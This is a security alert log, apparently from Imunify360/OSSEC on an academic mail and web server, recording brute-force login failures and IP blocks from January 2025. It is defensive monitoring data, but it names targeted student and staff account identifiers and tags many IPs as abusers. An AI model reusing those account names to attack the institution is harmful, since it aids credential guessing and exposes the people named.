# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.178.110.214
description:
2025-01-26 18:29:25 dovecot_login authenticator failed for ([195.178.110.214]) [195.178.110.214]:49518: 535 Incorrect authentication data (set_id=scan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 18:29:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.104.144.93
description:
Jan 26 18:29:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 86.104.144.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.228.225.20
description:
2025-01-26 18:29:57 dovecot_login authenticator failed for ([122.228.225.20]) [122.228.225.20]:52058: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.170.230.238
description:
Jan 26 18:29:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.170.230.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.94.206.187
description:
2025-01-26 18:30:00 dovecot_plain authenticator failed for (177-94-206-187.dsl.telesp.net.br) [177.94.206.187]:54376: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.216.0.10
description:
2025-01-26 18:30:35 dovecot_login authenticator failed for ([124.216.0.10]) [124.216.0.10]:50989: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.153.62.100
description:
Jan 26 18:30:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.153.62.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.106.37.249
description:
Jan 26 18:30:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.106.37.249 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 92.118.39.71
description:
Jan 26 18:30:47 ait sshd[2384100]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.118.39.71


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.190.91.98
description:
Jan 26 18:30:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.190.91.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.216.0.10
description:
Jan 26 18:30:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.216.0.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.191.221.158
description:
Jan 26 18:30:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.191.221.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.71
description:
Jan 26 18:30:47 ait sshd[2384100]: pam_imunify(sshd:auth): [IM360_RBL] The IP 92.118.39.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.47.63.37
description:
Jan 26 18:30:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.47.63.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.183.11.30
description:
Jan 26 18:30:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.183.11.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.117.92.118
description:
Jan 26 18:30:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.117.92.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.47.63.37
description:
2025-01-26 18:30:09 dovecot_plain authenticator failed for ([95.47.63.37]) [95.47.63.37]:57022: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.106.37.249
description:
2025-01-26 18:30:45 dovecot_login authenticator failed for host-62-106-37-249.dynamic.elmonet.fi [62.106.37.249]:41922: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.106.85.205
description:
Jan 26 18:30:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.106.85.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.250.152.88
description:
2025-01-26 18:30:56 dovecot_plain authenticator failed for ([170.250.152.88]) [170.250.152.88]:56636: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.28.192.118
description:
Jan 26 18:30:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.28.192.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.28.192.118
description:
2025-01-26 18:30:20 dovecot_login authenticator failed for ([1.28.192.118]) [1.28.192.118]:38751: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.245.227
description:
2025-01-26 18:30:35 dovecot_login authenticator failed for ([220.77.245.227]) [220.77.245.227]:45792: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
description:
2025-01-26 18:30:40 dovecot_login authenticator failed for ([39.165.183.70]) [39.165.183.70]:46078: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
description:
2025-01-26 18:30:08 dovecot_login authenticator failed for ([218.149.235.152]) [218.149.235.152]:47540: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.117.92.118
description:
2025-01-26 18:30:10 dovecot_login authenticator failed for ([202.117.92.118]) [202.117.92.118]:42484: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.245.227
description:
Jan 26 18:30:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.245.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.62.100
description:
2025-01-26 18:30:44 dovecot_login authenticator failed for a89-153-62-100.cpe.netcabo.pt [89.153.62.100]:33778: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.235.152
description:
Jan 26 18:30:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.235.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.250.152.88
description:
Jan 26 18:30:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.250.152.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.190.91.98
description:
2025-01-26 18:30:59 dovecot_plain authenticator failed for ([103.190.91.98]) [103.190.91.98]:37958: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.183.70
description:
Jan 26 18:30:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.183.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.39.187.190
description:
2025-01-26 18:30:56 dovecot_plain authenticator failed for ([189.39.187.16]) [189.39.187.190]:54426: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.183.11.30
description:
2025-01-26 18:30:09 dovecot_login authenticator failed for ([103.183.11.30]) [103.183.11.30]:47996: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.191.221.158
description:
2025-01-26 18:30:40 dovecot_plain authenticator failed for syn-075-191-221-158.res.spectrum.com [75.191.221.158]:43676: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.106.85.205
description:
2025-01-26 18:30:47 dovecot_plain authenticator failed for 131-106-85-205.s1483.c3-0.tlg-cbr5.atw-tlg.pa.cable.rcncustomer.com [131.106.85.205]:47402: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.39.187.190
description:
Jan 26 18:30:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.39.187.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.221.11.159
description:
[2025-01-26 18:31:36 +0100] info [webmaild] 177.221.11.159 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.88.228.202
description:
Jan 26 18:31:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.88.228.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.88.228.202
description:
2025-01-26 18:31:18 dovecot_login authenticator failed for ([14.88.228.202]) [14.88.228.202]:54526: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.202.224
description:
Jan 26 18:31:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.202.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.202.224
description:
2025-01-26 18:31:06 dovecot_plain authenticator failed for ([196.46.202.224]) [196.46.202.224]:59244: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 18:31:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 169.224.26.71
description:
[2025-01-26 18:31:40 +0100] info [webmaild] 169.224.26.71 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.97.139.38
description:
Jan 26 18:32:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.97.139.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.139.38
description:
2025-01-26 18:32:33 dovecot_plain authenticator failed for ([59.97.139.38]) [59.97.139.38]:60136: 535 Incorrect authentication data (set_id=abs18a00023y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.127.143.140
description:
Jan 26 18:32:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.127.143.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.127.143.140
description:
2025-01-26 18:32:22 dovecot_plain authenticator failed for ([116.127.143.140]) [116.127.143.140]:41066: 535 Incorrect authentication data (set_id=abs18a00023y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.97.231.202
description:
[2025-01-26 18:33:30 +0100] info [webmaild] 190.97.231.202 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.74.166
description:
[2025-01-26 18:33:31 +0100] info [webmaild] 213.230.74.166 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.217
description:
Jan 26 18:33:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.178.110.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.178.110.217
description:
2025-01-26 18:33:44 dovecot_login authenticator failed for ([195.178.110.217]) [195.178.110.217]:51761: 535 Incorrect authentication data (set_id=root)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 65.0.27.59
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:18-33.65.0.27.59


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.211.77.58
description:
Jan 26 18:33:51 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.211.77.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.211.77.58
description:
2025-01-26 18:33:53 dovecot_plain authenticator failed for (preforns) [81.211.77.58]:54452: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.225.30.107
description:
Jan 26 18:34:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.225.30.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.225.30.107
description:
2025-01-26 18:34:52 dovecot_plain authenticator failed for 81-225-30-107-no2380.tbcn.telia.com (reistry) [81.225.30.107]:34346: 535 Incorrect authentication data (set_id=stquarshie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.206.1.60
description:
Jan 26 18:34:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.206.1.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.1.60
description:
2025-01-26 18:34:38 dovecot_plain authenticator failed for ([175.206.1.60]) [175.206.1.60]:40912: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.19.80.138
description:
2025-01-26 18:35:55 dovecot_plain authenticator failed for syn-156-019-080-138.biz.spectrum.com [156.19.80.138]:34490: 535 Incorrect authentication data (set_id=ads21a00042y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.152.6.80
description:
[2025-01-26 18:35:09 +0100] info [webmaild] 200.152.6.80 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.176.252.225
description:
2025-01-26 18:35:30 dovecot_plain authenticator failed for syn-076-176-252-225.res.spectrum.com [76.176.252.225]:47540: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.245.145.254
description:
2025-01-26 18:35:46 dovecot_plain authenticator failed for ([157.245.145.254]) [157.245.145.254]:36532: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.217.210.85
description:
[2025-01-26 18:36:02 +0100] info [webmaild] 189.217.210.85 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.219.222.44
description:
Jan 26 18:35:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.219.222.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.176.252.225
description:
Jan 26 18:35:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.176.252.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.245.145.254
description:
Jan 26 18:35:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.245.145.254 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 131.255.253.151
domain: aitedu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:18-36.131.255.253.151


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.222.44
description:
2025-01-26 18:35:24 dovecot_plain authenticator failed for ([207.219.222.44]) [207.219.222.44]:51645: 535 Incorrect authentication data (set_id=ads21a00042y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.19.80.138
description:
Jan 26 18:35:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.19.80.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.68.46
description:
2025-01-26 18:37:46 dovecot_plain authenticator failed for ([59.98.150.190]) [122.160.68.46]:39960: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.201.51
description:
2025-01-26 18:37:58 dovecot_plain authenticator failed for ([196.46.201.51]) [196.46.201.51]:60716: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.143.51.58
description:
Jan 26 18:38:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.143.51.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.68.46
description:
Jan 26 18:37:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.68.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.201.51
description:
Jan 26 18:37:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.201.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.44.163
description:
Jan 26 18:37:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.44.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.44.163
description:
2025-01-26 18:38:01 dovecot_plain authenticator failed for ([103.109.44.163]) [103.109.44.163]:42114: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.143.51.58
description:
2025-01-26 18:38:03 dovecot_plain authenticator failed for host81-143-51-58.in-addr.btopenworld.com (sensts) [81.143.51.58]:37302: 535 Incorrect authentication data (set_id=abs32a11154y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.15.78.70
description:
Jan 26 18:38:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.15.78.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.105.141.170
description:
Jan 26 18:38:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.105.141.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.71
description:
Jan 26 18:38:14 ait sshd[2387487]: pam_imunify(sshd:auth): [IM360_RBL] The IP 92.118.39.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.45.50.125
description:
Jan 26 18:38:53 ait sshd[2387617]: pam_imunify(sshd:auth): [IM360_RBL] The IP 31.45.50.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.170
description:
2025-01-26 18:38:13 dovecot_plain authenticator failed for static-200-105-141-170.acelerate.net (static-200-105-141-161.acelerate.net) [200.105.141.170]:49444: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.15.78.70
description:
2025-01-26 18:38:45 dovecot_plain authenticator failed for 80-15-78-70.ftth.fr.orangecustomers.net (diuming) [80.15.78.70]:56112: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 92.118.39.71
description:
Jan 26 18:38:14 ait sshd[2387487]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.118.39.71


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 31.45.50.125
description:
Jan 26 18:38:53 ait sshd[2387617]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.45.50.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.234.140.71
description:
2025-01-26 18:38:59 dovecot_login authenticator failed for ([100.64.100.6]) [104.234.140.71]:58914: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.137.82.102
description:
Jan 26 18:40:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.137.82.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.137.82.102
description:
2025-01-26 18:40:02 dovecot_plain authenticator failed for vps-926fddc5.vps.ovh.net [79.137.82.102]:60336: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 26 18:41:01 ait sshd[2388780]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.86.137.19
description:
[2025-01-26 18:41:01 +0100] info [webmaild] 177.86.137.19 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.242.235.30
description:
Jan 26 18:40:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.242.235.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.87.152.161
description:
2025-01-26 18:40:15 dovecot_plain authenticator failed for (194.87.152.161-FTTB.planeta.tc) [194.87.152.161]:50984: 535 Incorrect authentication data (set_id=eejour13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.87.152.161
description:
Jan 26 18:40:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.87.152.161 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 26 18:41:01 ait sshd[2388780]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.242.235.30
description:
2025-01-26 18:40:49 dovecot_plain authenticator failed for (hethilamus) [91.242.235.30]:34311: 535 Incorrect authentication data (set_id=abs32a11123y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 175.126.195.176
description:
Jan 26 18:41:01 ait sshd[2388780]: Invalid user universitypublishing from 175.126.195.176 port 46135


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
description:
Jan 26 18:41:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.84.5.183
description:
Jan 26 18:41:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.84.5.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 18:41:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.84.5.183
description:
2025-01-26 18:41:22 dovecot_plain authenticator failed for ([210.84.5.183]) [210.84.5.183]:40296: 535 Incorrect authentication data (set_id=abs68b66600y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.188.178.173
description:
[2025-01-26 18:42:02 +0100] info [webmaild] 45.188.178.173 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
description:
2025-01-26 18:41:06 dovecot_plain authenticator failed for ([221.209.48.204]) [221.209.48.203]:53498: 535 Incorrect authentication data (set_id=abs68b66600y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.90.99.29
description:
Jan 26 18:42:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.90.99.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.44.163
description:
2025-01-26 18:42:35 dovecot_login authenticator failed for ([103.109.44.163]) [103.109.44.163]:59738: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.195.67.82
description:
2025-01-26 18:42:49 dovecot_plain authenticator failed for ([200.195.67.82]) [200.195.67.82]:46513: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.170.6
description:
Jan 26 18:43:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.170.6 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 210.180.118.166
description:
Jan 26 18:42:04 ait sshd[2389173]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.180.118.166  user=gvu


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.90.99.29
description:
2025-01-26 18:42:22 dovecot_login authenticator failed for (70-90-99-29-ma-ne.hfc.comcastbusiness.net) [70.90.99.29]:56707: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.44.163
description:
Jan 26 18:42:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.44.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.195.67.82
description:
Jan 26 18:42:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.195.67.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.180.118.166
description:
Jan 26 18:42:04 ait sshd[2389173]: pam_imunify(sshd:auth): [IM360_RBL] The IP 210.180.118.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.0.8.92
description:
Jan 26 18:43:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.0.8.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.21.141.54
description:
2025-01-26 18:44:02 dovecot_plain authenticator failed for ([125.21.141.54]) [125.21.141.54]:57572: 535 Incorrect authentication data (set_id=eng19b00159y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.200.51
description:
Jan 26 18:43:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.200.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.50.164.146
description:
2025-01-26 18:43:45 dovecot_plain authenticator failed for static-173-50-164-146.pghkny.fios.verizon.net [173.50.164.146]:61261: 535 Incorrect authentication data (set_id=eng19b00159y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
